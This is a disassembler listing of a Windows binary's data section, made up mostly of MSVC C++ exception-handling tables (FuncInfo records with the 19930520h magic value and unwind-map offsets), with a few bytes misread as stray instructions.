		dd 7, 43A1B8h, 8, 43A1C3h, 9, 43A1CEh, 0Ah, 43A1D9h, 0Bh
		dd 43A1E4h, 4 dup(0)
dword_440670	dd 19930520h, 6, 440690h, 5 dup(0)		dd 0FFFFFFFFh, 43A220h,	0
		dd offset loc_43A228
		dd 1, 43A230h, 2, 43A238h, 2, 43A240h, 2, 43A248h, 2 dup(0)
dword_4406C8	dd 19930520h, 6, 4406E8h, 5 dup(0)		dd 0FFFFFFFFh, 43A270h,	0
		dd offset loc_43A278
		dd 1, 43A280h, 2, 43A288h, 2, 43A290h, 2, 43A298h, 2 dup(0)
dword_440720	dd 19930520h, 3, 440740h, 5 dup(0)		dd 0FFFFFFFFh, 43A2C0h,	0
		dd offset loc_43A2C8
		dd 1, 43A2D0h, 2 dup(0)
dword_440760	dd 19930520h, 1, 440780h, 5 dup(0)		dd 0FFFFFFFFh, 43A2F0h,	2 dup(0)
dword_440790	dd 19930520h, 7, 4407B0h, 5 dup(0)		dd 0FFFFFFFFh, 43A310h,	0
		dd offset loc_43A318
		dd 0FFFFFFFFh, 43A320h,	0FFFFFFFFh, 43A328h, 3,	43A330h
		dd 4, 43A338h, 0FFFFFFFFh, 43A340h, 2 dup(0)
dword_4407F0	dd 19930520h, 24h, 440810h, 5 dup(0)		dd 0FFFFFFFFh, 43A370h,	0
		dd offset loc_43A378
		dd 1, 43A383h, 2, 43A38Eh, 3, 43A399h, 4, 43A3A7h, 5, 43A3B5h
		dd 6, 43A3C3h, 7, 43A3D1h, 8, 43A3DFh, 9, 43A3EDh, 0Ah
		dd 43A3FBh, 0Bh, 43A409h, 0Ch, 43A417h,	0Dh, 43A425h, 0Eh
		dd 43A433h, 0Fh, 43A441h, 10h, 43A44Fh,	11h, 43A45Dh, 11h
		dd 43A465h, 11h, 43A46Dh, 11h, 43A475h,	11h, 43A47Dh, 11h
		dd 43A485h, 11h, 43A48Dh, 11h, 43A495h,	11h, 43A49Dh, 11h
		dd 43A4A5h, 11h, 43A4ADh, 11h, 43A4B5h,	11h, 43A4BDh, 11h
		dd 43A4C5h, 11h, 43A4CDh, 11h, 43A4D5h,	11h, 43A4DDh, 11h
		dd 43A4E5h, 8 dup(0)
dword_440950	dd 19930520h, 38h, 440970h, 5 dup(0)		dd 0FFFFFFFFh, 43A560h,	0
		dd offset loc_43A56B
		dd 1, 43A576h, 0
		dd offset loc_43A581
		dd 0
		dd offset loc_43A58C
		dd 0
		dd offset loc_43A597
		dd 0
		dd offset loc_43A5A2
		dd 0
		dd offset loc_43A5AD
		dd 0
		dd offset loc_43A5B8
		dd 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0A5h, 43h, 0
		dd 9, 43A5CEh, 0
		dd offset loc_43A5D9
		dd 0
		dd offset loc_43A5E4
		dd 0
		dd offset loc_43A5EF
		dd 0
		dd offset loc_43A5FA
		dd 0Eh,	43A605h, 0Eh, 43A613h, 0Eh, 43A621h, 0Eh, 43A62Ch
		dd 0Eh,	43A63Ah, 0Eh, 43A648h, 0Eh, 43A653h, 0Eh, 43A65Eh
		dd 0
		dd offset loc_43A669
		dd 0
		dd offset loc_43A674
		dd 0
		dd offset loc_43A682
		dd 0
		dd offset loc_43A690
		dd 1Ah,	43A69Bh, 1Bh, 43A6A6h, 0
		dd offset loc_43A6B1
		dd 1Dh,	43A6BCh, 0
		dd offset loc_43A6C7
		dd 1Fh,	43A6D2h, 0
		dd offset loc_43A6DD
		dd 0
		dd offset loc_43A6E8
		dd 0
		dd offset loc_43A6F3
		dd 0
		dd offset loc_43A6FE
		dd 0
		dd offset loc_43A709
		dd 25h,	43A714h, 26h, 43A71Fh, 0
		dd offset loc_43A71F
		dd 28h,	43A714h, 0
		dd offset loc_43A72A
		dd 0
		dd offset loc_43A735
		dd 2Bh,	43A740h, 2Ch, 43A74Bh, 0
		dd offset loc_43A74B
		dd 2Eh,	43A740h, 2Eh, 43A756h, 0
		dd offset loc_43A761
		dd 31h,	43A76Ch, 0
		dd offset loc_43A777
		dd 0
		dd offset loc_43A782
		dd 34h,	43A78Dh, 35h, 43A798h, 34h, 43A798h, 0Ch dup(0)
dword_440B60	dd 19930520h, 0Ah, 440B80h, 5 dup(0)		dd 0FFFFFFFFh, 43A840h,	0FFFFFFFFh, 43A848h, 0FFFFFFFFh
		dd 43A850h, 0FFFFFFFFh,	43A858h, 0FFFFFFFFh, 43A860h, 0FFFFFFFFh
		dd 43A868h, 0FFFFFFFFh,	43A870h, 0FFFFFFFFh, 43A878h, 0FFFFFFFFh
		dd 43A880h, 0FFFFFFFFh,	43A888h, 4 dup(0)
dword_440BE0	dd 19930520h, 0Eh, 440C00h, 5 dup(0)		dd 0FFFFFFFFh, 43A8B0h,	0
		dd offset loc_43A8B8
		dd 0FFFFFFFFh, 43A8C3h,	0FFFFFFFFh, 43A8CBh, 0FFFFFFFFh
		dd 43A8D3h, 0FFFFFFFFh,	43A8DBh, 5, 43A8E6h, 0FFFFFFFFh
		dd 43A8EEh, 0FFFFFFFFh,	43A8F6h, 0FFFFFFFFh, 43A8FEh, 9
		dd 43A909h, 0FFFFFFFFh,	43A911h, 0Bh, 43A919h, 0Ch, 43A921h
		dd 4 dup(0)
dword_440C80	dd 19930520h, 2, 440CA0h, 5 dup(0)		dd 0FFFFFFFFh, 43A968h,	0
		dd offset loc_43A960
		dd 2 dup(0)
dword_440CB8	dd 19930520h, 2, 440CD8h, 5 dup(0)		dd 0FFFFFFFFh, 43A9A0h,	0
		dd offset loc_43A9A8
		align 10h
dword_440CF0	dd 19930520h, 11h, 440D10h, 5 dup(0)		dd 0FFFFFFFFh, 43A9C0h,	0
		dd offset loc_43A9C8
		dd 1, 43A9D3h, 2, 43A9DEh, 3, 43A9E9h, 4, 43A9F7h, 5, 43AA05h
		dd 6, 43AA13h, 7, 43AA21h, 8, 43AA2Fh, 9, 43AA3Dh, 0Ah
		dd 43AA4Bh, 0Bh, 43AA59h, 0Ch, 43AA67h,	0Dh, 43AA75h, 0Eh
		dd 43AA83h, 0Fh, 43AA91h, 4 dup(0)
dword_440DA8	dd 19930520h, 1, 440DC8h, 5 dup(0)		dd 0FFFFFFFFh, 43AAF0h,	2 dup(0)
dword_440DD8	dd 19930520h, 1, 440DF8h, 5 dup(0)		dd 0FFFFFFFFh, 43AB10h,	2 dup(0)
dword_440E08	dd 19930520h, 6, 440E28h, 5 dup(0)		dd 0FFFFFFFFh, 43AB30h,	0
		dd offset loc_43AB38
		dd 1, 43AB43h, 2, 43AB4Eh, 3, 43AB59h, 4, 43AB64h, 2 dup(0)
dword_440E60	dd 19930520h, 6, 440E80h, 5 dup(0)		dd 0FFFFFFFFh, 43AB90h,	0
		dd offset loc_43AB98
		dd 1, 43ABA3h, 2, 43ABAEh, 3, 43ABB9h, 4, 43ABC4h, 2 dup(0)
dword_440EB8	dd 19930520h, 1, 440ED8h, 5 dup(0)		dd 0FFFFFFFFh, 43ABF0h,	2 dup(0)
dword_440EE8	dd 19930520h, 7, 440F08h, 5 dup(0)		dd 0FFFFFFFFh, 43AC10h,	0
		dd offset loc_43AC18
		dd 1, 43AC23h, 2, 43AC2Eh, 2, 43AC36h, 4, 43AC3Eh, 5, 43AC46h
		dd 2 dup(0)
dword_440F48	dd 19930520h, 4, 440F68h, 5 dup(0)		dd 0FFFFFFFFh, 43AC70h,	0
		dd offset loc_43AC7B
		dd 1, 43AC86h, 2, 43AC91h, 2 dup(0)
dword_440F90	dd 19930520h, 4, 440FB0h, 5 dup(0)		dd 0FFFFFFFFh, 43ACC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 43h, 0
		dd 1, 43ACD6h, 2, 43ACE1h, 2 dup(0)
dword_440FD8	dd 19930520h, 2, 440FF8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD10h,	0FFFFFFFFh, 43AD18h, 2 dup(0)
dword_441010	dd 19930520h, 1, 441030h, 5 dup(0)		dd 0FFFFFFFFh, 43AD30h,	2 dup(0)
dword_441040	dd 19930520h, 1, 441060h, 5 dup(0)		dd 0FFFFFFFFh, 43AD50h,	2 dup(0)
dword_441070	dd 19930520h, 2, 441090h, 5 dup(0)		dd 0FFFFFFFFh, 43AD70h,	0
		dd offset loc_43AD78
		dd 2 dup(0)
dword_4410A8	dd 19930520h, 3, 4410C8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD90h,	0
		dd offset loc_43AD98
		dd 1, 43ADA3h, 2 dup(0)
dword_4410E8	dd 19930520h, 3, 441108h, 5 dup(0)		dd 0FFFFFFFFh, 43ADD0h,	0
		dd offset loc_43ADD8
		dd 1, 43ADE0h, 2 dup(0)
dword_441128	dd 19930520h, 1, 441148h, 5 dup(0)		dd 0FFFFFFFFh, 43AE00h,	2 dup(0)
dword_441158	dd 19930520h, 4, 441178h, 5 dup(0)		dd 0FFFFFFFFh, 43AE20h,	0
		dd offset loc_43AE28
		dd 0
		dd offset loc_43AE30
		dd 0
		dd offset loc_43AE3B
		align 10h
dword_4411A0	dd 19930520h, 6, 4411C0h, 5 dup(0)		dd 0FFFFFFFFh, 43AE60h,	0
		dd offset loc_43AE68
		dd 1, 43AE70h, 2, 43AE78h, 3, 43AE80h, 4, 43AE88h, 2 dup(0)
dword_4411F8	dd 19930520h, 3, 441218h, 5 dup(0)		dd 0FFFFFFFFh, 43AEB0h,	0
		dd offset loc_43AEBB
		dd 1, 43AEC6h, 2 dup(0)
dword_441238	dd 19930520h, 4, 441258h, 5 dup(0)		dd 0FFFFFFFFh, 43AEF0h,	0
		dd offset loc_43AEF8
		dd 1, 43AF00h, 2, 43AF08h, 2 dup(0)
dword_441280	dd 19930520h, 5, 4412A0h, 5 dup(0)		dd 0FFFFFFFFh, 43AF30h,	0
		dd offset loc_43AF38
		dd 1, 43AF40h, 2, 43AF48h, 3, 43AF50h, 2 dup(0)
dword_4412D0	dd 19930520h, 4, 4412F0h, 5 dup(0)		dd 0FFFFFFFFh, 43AF80h,	0
		dd offset loc_43AF88
		dd 1, 43AF93h, 2, 43AF9Eh, 2 dup(0)
dword_441318	dd 19930520h, 3, 441338h, 5 dup(0)		dd 0FFFFFFFFh, 43AFC0h,	0
		dd offset loc_43AFC8
		dd 1, 43AFD0h, 2 dup(0)
dword_441358	dd 19930520h, 1, 441378h, 5 dup(0)		dd 0FFFFFFFFh, 43AFF0h,	2 dup(0)
dword_441388	dd 19930520h, 2, 4413A8h, 5 dup(0)		dd 0FFFFFFFFh, 43B010h,	0
		dd offset loc_43B018
		align 10h
dword_4413C0	dd 19930520h, 2, 4413E0h, 5 dup(0)		dd 0FFFFFFFFh, 43B030h,	0
		dd offset loc_43B038
		dd 2 dup(0)
dword_4413F8	dd 19930520h, 3, 441418h, 5 dup(0)		dd 0FFFFFFFFh, 43B050h,	0
		dd offset loc_43B05B
		dd 1, 43B066h, 2 dup(0)
dword_441438	dd 19930520h, 1, 441458h, 5 dup(0)		dd 0FFFFFFFFh, 43B090h,	2 dup(0)
dword_441468	dd 19930520h, 1, 441488h, 5 dup(0)		dd 0FFFFFFFFh, 43B0B0h,	2 dup(0)
dword_441498	dd 19930520h, 4, 4414B8h, 5 dup(0)		dd 0FFFFFFFFh, 43B0D0h,	0
		dd offset loc_43B0D8
		dd 1, 43B0E3h, 2, 43B0EEh, 2 dup(0)
dword_4414E0	dd 19930520h, 7, 441500h, 5 dup(0)		dd 0FFFFFFFFh, 43B110h,	0FFFFFFFFh, 43B118h, 0FFFFFFFFh
		dd 43B120h, 2, 43B128h,	3, 43B130h, 4, 43B138h,	0FFFFFFFFh
		dd 43B140h, 2 dup(0)
dword_441540	dd 19930520h, 1Bh, 441560h, 5 dup(0)		dd 0FFFFFFFFh, 43B170h,	0
		dd offset loc_43B178
		dd 1, 43B183h, 2, 43B191h, 3, 43B19Fh, 4, 43B1ADh, 5, 43B1BBh
		dd 6, 43B1C9h, 7, 43B1D7h, 8, 43B1E5h, 9, 43B1F3h, 0Ah
		dd 43B201h, 0Bh, 43B20Fh, 0Ch, 43B21Dh,	0Dh, 43B22Bh, 0Eh
		dd 43B239h, 0Fh, 43B247h, 10h, 43B255h,	11h, 43B263h, 12h
		dd 43B271h, 13h, 43B27Fh, 14h, 43B28Dh,	15h, 43B29Bh, 16h
		dd 43B2A9h, 17h, 43B2B7h, 18h, 43B2C5h,	19h, 43B2D3h, 6	dup(0)
dword_441650	dd 19930520h, 1Bh, 441670h, 5 dup(0)		dd 0FFFFFFFFh, 43B350h,	0
		dd offset loc_43B358
		dd 1, 43B363h, 2, 43B371h, 3, 43B37Fh, 4, 43B38Dh, 5, 43B39Bh
		dd 6, 43B3A9h, 7, 43B3B7h, 8, 43B3C5h, 9, 43B3D3h, 0Ah
		dd 43B3E1h, 0Bh, 43B3EFh, 0Ch, 43B3FDh,	0Dh, 43B40Bh, 0Eh
		dd 43B419h, 0Fh, 43B427h, 10h, 43B435h,	11h, 43B443h, 12h
		dd 43B451h, 13h, 43B45Fh, 14h, 43B46Dh,	15h, 43B47Bh, 16h
		dd 43B489h, 17h, 43B497h, 18h, 43B4A5h,	19h, 43B4B3h, 6	dup(0)
dword_441760	dd 19930520h, 1, 441780h, 5 dup(0)		dd 0FFFFFFFFh, 43B530h,	2 dup(0)
dword_441790	dd 19930520h, 3Dh, 4417B0h, 5 dup(0)		dd 0FFFFFFFFh, 43B550h,	0
		dd offset loc_43B55B
		dd 1, 43B566h, 2, 43B574h, 3, 43B582h, 4, 43B590h, 5, 43B59Eh
		dd 6, 43B5ACh, 7, 43B5BAh, 8, 43B5C8h, 9, 43B5D6h, 0Ah
		dd 43B5E4h, 0Bh, 43B5F2h, 0Ch, 43B600h,	0Dh, 43B60Eh, 0Eh
		dd 43B61Ch, 0Fh, 43B62Ah, 10h, 43B638h,	11h, 43B646h, 12h
		dd 43B654h, 13h, 43B662h, 14h, 43B670h,	15h, 43B67Eh, 16h
		dd 43B68Ch, 17h, 43B69Ah, 18h, 43B6A8h,	19h, 43B6B6h, 1Ah
		dd 43B6C4h, 1Bh, 43B6D2h, 1Ch, 43B6E0h,	1Dh, 43B6EEh, 1Eh
		dd 43B6FCh, 1Fh, 43B70Ah, 20h, 43B718h,	21h, 43B726h, 22h
		dd 43B734h, 23h, 43B742h, 24h, 43B750h,	25h, 43B75Eh, 26h
		dd 43B76Ch, 27h, 43B77Ah, 28h, 43B788h,	29h, 43B796h, 2Ah
		dd 43B7A4h, 2Bh, 43B7B2h, 2Ch, 43B7C0h,	2Dh, 43B7CEh, 2Eh
		dd 43B7DCh, 2Fh, 43B7EAh, 30h, 43B7F8h,	31h, 43B806h, 32h
		dd 43B814h, 33h, 43B822h, 34h, 43B830h,	35h, 43B83Eh, 36h
		dd 43B84Ch, 37h, 43B85Ah, 38h, 43B868h,	39h, 43B876h, 3Ah
		dd 43B884h, 3Bh, 43B892h, 0Eh dup(0)
dword_4419D0	dd 19930520h, 4, 4419F0h, 5 dup(0)		dd 0FFFFFFFFh, 43B980h,	0
		dd offset loc_43B98B
		dd 1, 43B996h, 2, 43B9A1h, 2 dup(0)
dword_441A18	dd 19930520h, 6, 441A38h, 5 dup(0)		dd 0FFFFFFFFh, 43B9D0h,	0
		dd offset loc_43B9DB
		dd 1, 43B9E6h, 2, 43B9F1h, 3, 43B9FFh, 4, 43BA0Dh, 2 dup(0)
dword_441A70	dd 19930520h, 4, 441A90h, 5 dup(0)		dd 0FFFFFFFFh, 43BA40h,	0
		dd offset loc_43BA4E
		dd 1, 43BA5Ch, 2, 43BA6Ah, 2 dup(0)
dword_441AB8	dd 19930520h, 5, 441AD8h, 5 dup(0)		dd 0FFFFFFFFh, 43BAA0h,	0
		dd offset loc_43BAAB
		dd 1, 43BAB6h, 2, 43BAC1h, 3, 43BACFh, 2 dup(0)
dword_441B08	dd 19930520h, 5, 441B28h, 5 dup(0)		dd 0FFFFFFFFh, 43BB00h,	0
		dd offset loc_43BB0B
		dd 1, 43BB16h, 2, 43BB21h, 3, 43BB2Fh, 2 dup(0)
dword_441B58	dd 19930520h, 1, 441B78h, 5 dup(0)		dd 0FFFFFFFFh, 43BB60h,	2 dup(0)
dword_441B88	dd 19930520h, 1, 441BA8h, 5 dup(0)		dd 0FFFFFFFFh, 43BB80h,	2 dup(0)
dword_441BB8	dd 19930520h, 1, 441BD8h, 5 dup(0)		dd 0FFFFFFFFh, 43BBA0h,	2 dup(0)
dword_441BE8	dd 19930520h, 2, 441C08h, 5 dup(0)		dd 0FFFFFFFFh, 43BBC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0BBh, 43h, 0
		align 10h
dword_441C20	dd 19930520h, 4, 441C40h, 5 dup(0)		dd 0FFFFFFFFh, 43BBF0h,	0
		dd offset loc_43BBFB
		dd 1, 43BC06h, 2, 43BC11h, 2 dup(0)
dword_441C68	dd 19930520h, 4, 441C88h, 5 dup(0)		dd 0FFFFFFFFh, 43BC40h,	0
		dd offset loc_43BC4B
		dd 1, 43BC56h, 2, 43BC61h, 2 dup(0)
dword_441CB0	dd 19930520h, 6, 441CD0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC90h,	0
		dd offset loc_43BC9B
		dd 1, 43BCA6h, 2, 43BCB1h, 3, 43BCBFh, 4, 43BCCDh, 2 dup(0)
dword_441D08	dd 19930520h, 4, 441D28h, 5 dup(0)		dd 0FFFFFFFFh, 43BD00h,	0
		dd offset loc_43BD0E
		dd 1, 43BD1Ch, 2, 43BD2Ah, 2 dup(0)
dword_441D50	dd 19930520h, 5, 441D70h, 5 dup(0)		dd 0FFFFFFFFh, 43BD60h,	0
		dd offset loc_43BD6B
		dd 1, 43BD76h, 2, 43BD81h, 3, 43BD8Fh, 2 dup(0)
dword_441DA0	dd 19930520h, 5, 441DC0h, 5 dup(0)		dd 0FFFFFFFFh, 43BDC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0BDh, 43h, 0
		dd 1, 43BDD6h, 2, 43BDE1h, 3, 43BDEFh, 2 dup(0)
dword_441DF0	dd 19930520h, 1, 441E10h, 5 dup(0)		dd 0FFFFFFFFh, 43BE20h,	2 dup(0)
dword_441E20	dd 19930520h, 1, 441E40h, 5 dup(0)		dd 0FFFFFFFFh, 43BE40h,	2 dup(0)
dword_441E50	dd 19930520h, 1, 441E70h, 5 dup(0)		dd 0FFFFFFFFh, 43BE60h,	2 dup(0)
dword_441E80	dd 19930520h, 2, 441EA0h, 5 dup(0)		dd 0FFFFFFFFh, 43BE80h,	0
		dd offset loc_43BE8B
		dd 2 dup(0)
dword_441EB8	dd 19930520h, 4, 441ED8h, 5 dup(0)		dd 0FFFFFFFFh, 43BEB0h,	0
		dd offset loc_43BEBB
		dd 1, 43BEC6h, 2, 43BED1h, 2 dup(0)
dword_441F00	dd 19930520h, 1, 441F20h, 5 dup(0)		dd 0FFFFFFFFh, 43BF00h,	2 dup(0)
dword_441F30	dd 19930520h, 2, 441F50h, 5 dup(0)		dd 0FFFFFFFFh, 43BF20h,	0
		dd offset loc_43BF2B
		dd 2 dup(0)
dword_441F68	dd 19930520h, 1, 441F88h, 5 dup(0)		dd 0FFFFFFFFh, 43BF50h,	2 dup(0)
dword_441F98	dd 19930520h, 3, 441FB8h, 5 dup(0)		dd 0FFFFFFFFh, 43BF70h,	0FFFFFFFFh, 43BF7Bh, 1,	43BF86h
		dd 2 dup(0)
dword_441FD8	dd 19930520h, 1, 441FF8h, 5 dup(0)		dd 0FFFFFFFFh, 43BFB0h,	2 dup(0)
dword_442008	dd 19930520h, 1, 442028h, 5 dup(0)		dd 0FFFFFFFFh, 43BFD0h,	2 dup(0)
dword_442038	dd 19930520h, 3, 442058h, 5 dup(0)		dd 0FFFFFFFFh, 43BFF0h,	0
		dd offset loc_43C007
		dd 1, 43C00Fh, 2 dup(0)
dword_442078	dd 19930520h, 1, 442098h, 5 dup(0)		dd 0FFFFFFFFh, 43C030h,	2 dup(0)
dword_4420A8	dd 19930520h, 4, 4420C8h, 5 dup(0)		dd 0FFFFFFFFh, 43C058h,	0
		dd offset sub_43C050
		dd 0
		dd offset loc_43C06F
		dd 2, 43C077h, 2 dup(0)
dword_4420F0	dd 19930520h, 6, 442110h, 5 dup(0)		dd 0FFFFFFFFh, 43C0A0h,	0FFFFFFFFh, 43C0A8h, 0FFFFFFFFh
		dd 43C0B0h, 0FFFFFFFFh,	43C0B8h, 0FFFFFFFFh, 43C0C0h, 0FFFFFFFFh
		dd 43C0C8h, 2 dup(0)
dword_442148	dd 19930520h, 1Ah, 442168h, 5 dup(0)		dd 0FFFFFFFFh, 43C0F0h,	0
		dd offset loc_43C0FB
		dd 1, 43C106h, 2, 43C111h, 3, 43C11Ch, 4, 43C127h, 5, 43C12Fh
		dd 5, 43C13Ah, 5, 43C145h, 5, 43C153h, 5, 43C15Eh, 5, 43C169h
		dd 5, 43C177h, 5, 43C182h, 5, 43C18Dh, 5, 43C198h, 5, 43C1A6h
		dd 5, 43C1B1h, 5, 43C1BCh, 5, 43C1CAh, 5, 43C1D5h, 5, 43C1E0h
		dd 5, 43C1EEh, 5, 43C1F9h, 5, 43C204h, 5, 43C20Fh, 6 dup(0)
dword_442250	dd 19930520h, 4, 442270h, 5 dup(0)		dd 0FFFFFFFFh, 43C280h,	0
		dd offset loc_43C288
		dd 1, 43C293h, 2, 43C29Eh, 2 dup(0)
dword_442298	dd 19930520h, 4, 4422B8h, 5 dup(0)		dd 0FFFFFFFFh, 43C2C0h,	0
		dd offset loc_43C2C8
		dd 1, 43C2D3h, 2, 43C2DEh, 2 dup(0)
dword_4422E0	dd 19930520h, 6, 442300h, 5 dup(0)		dd 0FFFFFFFFh, 43C300h,	0
		dd offset loc_43C308
		dd 1, 43C313h, 2, 43C31Eh, 3, 43C329h, 4, 43C334h, 2 dup(0)
dword_442338	dd 19930520h, 6, 442358h, 5 dup(0)		dd 0FFFFFFFFh, 43C360h,	0FFFFFFFFh, 43C36Bh, 0FFFFFFFFh
		dd 43C376h, 2, 43C381h,	3, 43C38Ch, 2, 43C397h,	2 dup(0)
dword_442390	dd 19930520h, 3, 4423B0h, 5 dup(0)		dd 0FFFFFFFFh, 43C3C0h,	0FFFFFFFFh, 43C3C8h, 0FFFFFFFFh
		dd 43C3D0h, 2 dup(0)
dword_4423D0	dd 19930520h, 5, 4423F0h, 5 dup(0)		dd 0FFFFFFFFh, 43C3F0h,	0FFFFFFFFh, 43C3F8h, 0FFFFFFFFh
		dd 43C400h, 0FFFFFFFFh,	43C408h, 0FFFFFFFFh, 43C410h, 2	dup(0)
dword_442420	dd 19930520h, 0Ch, 442440h, 5 dup(0)		dd 0FFFFFFFFh, 43C430h,	0
		dd offset loc_43C438
		dd 0FFFFFFFFh, 43C440h,	0FFFFFFFFh, 43C448h, 0FFFFFFFFh
		dd 43C450h, 0FFFFFFFFh,	43C458h, 5, 43C460h, 0FFFFFFFFh
		dd 43C468h, 0FFFFFFFFh,	43C470h, 0FFFFFFFFh, 43C478h, 0FFFFFFFFh
		dd 43C480h, 0FFFFFFFFh,	43C488h, 4 dup(0)
		dd 19930520h, 2, 4424D0h, 1, 4424E0h, 3	dup(0)
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 4424F8h, 4	dup(0)
		dd offset loc_41EE2C
		align 10h
dword_442510	dd 19930520h, 0Ah, 442530h, 5 dup(0)		dd 0FFFFFFFFh, 43C4D0h,	0
		dd offset loc_43C4DB
		dd 1, 43C4E6h, 2, 43C4F1h, 3, 43C4FCh, 3, 43C507h, 3, 43C512h
		dd 3, 43C51Dh, 3, 43C528h, 3, 43C533h, 4 dup(0)
dword_442590	dd 19930520h, 2, 4425B0h, 5 dup(0)		dd 0FFFFFFFFh, 43C570h,	0
		dd offset loc_43C578
		dd 2 dup(0)
dword_4425C8	dd 19930520h, 3, 4425E8h, 5 dup(0)		dd 0FFFFFFFFh, 43C590h,	0FFFFFFFFh, 43C59Bh, 1,	43C5A6h
		dd 2 dup(0)
dword_442608	dd 19930520h, 1, 442628h, 5 dup(0)		dd 0FFFFFFFFh, 43C5D0h,	2 dup(0)
dword_442638	dd 19930520h, 2, 442658h, 5 dup(0)		dd 0FFFFFFFFh, 43C5F0h,	0
		dd offset loc_43C5FB
		align 10h
dword_442670	dd 19930520h, 16h, 442690h, 5 dup(0)		dd 0FFFFFFFFh, 43C620h,	0
		dd offset loc_43C62B
		dd 0
		dd offset loc_43C633
		dd 0
		dd offset loc_43C63B
		dd 3, 43C643h, 4, 43C64Bh, 0
		dd offset loc_43C653
		dd 6, 43C65Bh, 7, 43C663h, 0
		dd offset loc_43C66B
		dd 9, 43C673h, 0Ah, 43C67Bh, 0
		dd offset loc_43C683
		dd 0Ch,	43C68Bh, 0Dh, 43C693h, 0
		dd offset loc_43C69B
		dd 0Fh,	43C6A3h, 0
		dd offset loc_43C6AB
		dd 11h,	43C6B3h, 0
		dd offset loc_43C6BB
		dd 13h,	43C6C3h, 13h, 43C6CBh, 6 dup(0)
dword_442758	dd 19930520h, 6, 442778h, 5 dup(0)		dd 0FFFFFFFFh, 43C710h,	0
		dd offset loc_43C718
		dd 1, 43C723h, 2, 43C72Eh, 3, 43C739h, 4, 43C744h, 2 dup(0)
dword_4427B0	dd 19930520h, 1, 4427D0h, 5 dup(0)		dd 0FFFFFFFFh, 43C770h,	2 dup(0)
dword_4427E0	dd 19930520h, 1, 442800h, 5 dup(0)		dd 0FFFFFFFFh, 43C7A0h,	2 dup(0)
dword_442810	dd 19930520h, 5, 442830h, 5 dup(0)		dd 0FFFFFFFFh, 43C7D0h,	0FFFFFFFFh, 43C7D8h, 0FFFFFFFFh
		dd 43C7E0h, 0FFFFFFFFh,	43C7E8h, 0FFFFFFFFh, 43C7F0h, 2	dup(0)
dword_442860	dd 19930520h, 0Bh, 442880h, 5 dup(0)		dd 0FFFFFFFFh, 43C810h,	0FFFFFFFFh, 43C81Bh, 0FFFFFFFFh
		dd 43C831h, 0FFFFFFFFh,	43C83Ch, 0FFFFFFFFh, 43C847h, 0FFFFFFFFh
		dd 43C852h, 0FFFFFFFFh,	43C85Dh, 0FFFFFFFFh, 43C868h, 0FFFFFFFFh
		dd 43C873h, 0FFFFFFFFh,	43C87Eh, 0FFFFFFFFh, 43C826h, 4	dup(0)
dword_4428E8	dd 19930520h, 1, 442908h, 5 dup(0)		dd 0FFFFFFFFh, 43C8C0h,	2 dup(0)
dword_442918	dd 19930520h, 5, 442938h, 5 dup(0)		dd 0FFFFFFFFh, 43C8E0h,	0FFFFFFFFh, 43C8E8h, 0FFFFFFFFh
		dd 43C8F0h, 0FFFFFFFFh,	43C8F8h, 0FFFFFFFFh, 43C900h, 2	dup(0)
dword_442968	dd 19930520h, 15h, 442988h, 5 dup(0)		dd 0FFFFFFFFh, 43C920h,	0FFFFFFFFh, 43C92Bh, 0FFFFFFFFh
		dd 43C933h, 0FFFFFFFFh,	43C93Bh, 0FFFFFFFFh, 43C943h, 0FFFFFFFFh
		dd 43C94Bh, 0FFFFFFFFh,	43C956h, 0FFFFFFFFh, 43C95Eh, 0FFFFFFFFh
		dd 43C966h, 0FFFFFFFFh,	43C96Eh, 0FFFFFFFFh, 43C976h, 0FFFFFFFFh
		dd 43C981h, 0FFFFFFFFh,	43C989h, 0FFFFFFFFh, 43C991h, 0FFFFFFFFh
		dd 43C999h, 0FFFFFFFFh,	43C9A1h, 0FFFFFFFFh, 43C9ACh, 0FFFFFFFFh
		dd 43C9B4h, 0FFFFFFFFh,	43C9BCh, 0FFFFFFFFh, 43C9C4h, 0FFFFFFFFh
		dd 43C9CCh, 6 dup(0)
dword_442A48	dd 19930520h, 1, 442A68h, 5 dup(0)		dd 0FFFFFFFFh, 43CA10h,	2 dup(0)
dword_442A78	dd 19930520h, 1, 442A98h, 5 dup(0)		dd 0FFFFFFFFh, 43CA30h,	2 dup(0)
dword_442AA8	dd 19930520h, 5, 442AC8h, 5 dup(0)		dd 0FFFFFFFFh, 43CA50h,	0
; ---------------------------------------------------------------------------
		pop	eax
		retf	43h
; ---------------------------------------------------------------------------
		dd 1, 43CA63h, 2, 43CA6Eh, 3, 43CA79h, 2 dup(0)
dword_442AF8	dd 19930520h, 5, 442B18h, 5 dup(0)		dd 0FFFFFFFFh, 43CAA0h,	0
		dd offset loc_43CAA8
		dd 1, 43CAB3h, 2, 43CABEh, 3, 43CAC9h, 2 dup(0)
dword_442B48	dd 19930520h, 1, 442B68h, 5 dup(0)		dd 0FFFFFFFFh, 43CAF0h,	2 dup(0)
dword_442B78	dd 19930520h, 1, 442B98h, 5 dup(0)		dd 0FFFFFFFFh, 43CB10h,	2 dup(0)
dword_442BA8	dd 19930520h, 1, 442BC8h, 5 dup(0)		dd 0FFFFFFFFh, 43CB30h,	2 dup(0)
dword_442BD8	dd 19930520h, 1, 442BF8h, 5 dup(0)		dd 0FFFFFFFFh, 43CB50h,	2 dup(0)
dword_442C08	dd 19930520h, 1, 442C28h, 5 dup(0)		dd 0FFFFFFFFh, 43CB70h,	2 dup(0)
dword_442C38	dd 19930520h, 1, 442C58h, 5 dup(0)		dd 0FFFFFFFFh, 43CB90h,	2 dup(0)
dword_442C68	dd 19930520h, 1, 442C88h, 5 dup(0)		dd 0FFFFFFFFh, 43CBB0h,	2 dup(0)
dword_442C98	dd 19930520h, 6, 442CB8h, 5 dup(0)		dd 0FFFFFFFFh, 43CBD0h,	0
		dd offset loc_43CBD8
		dd 1, 43CBE3h, 2, 43CBEEh, 3, 43CBF9h, 4, 43CC04h, 2 dup(0)
dword_442CF0	dd 19930520h, 6, 442D10h, 5 dup(0)		dd 0FFFFFFFFh, 43CC30h,	0
		dd offset loc_43CC38
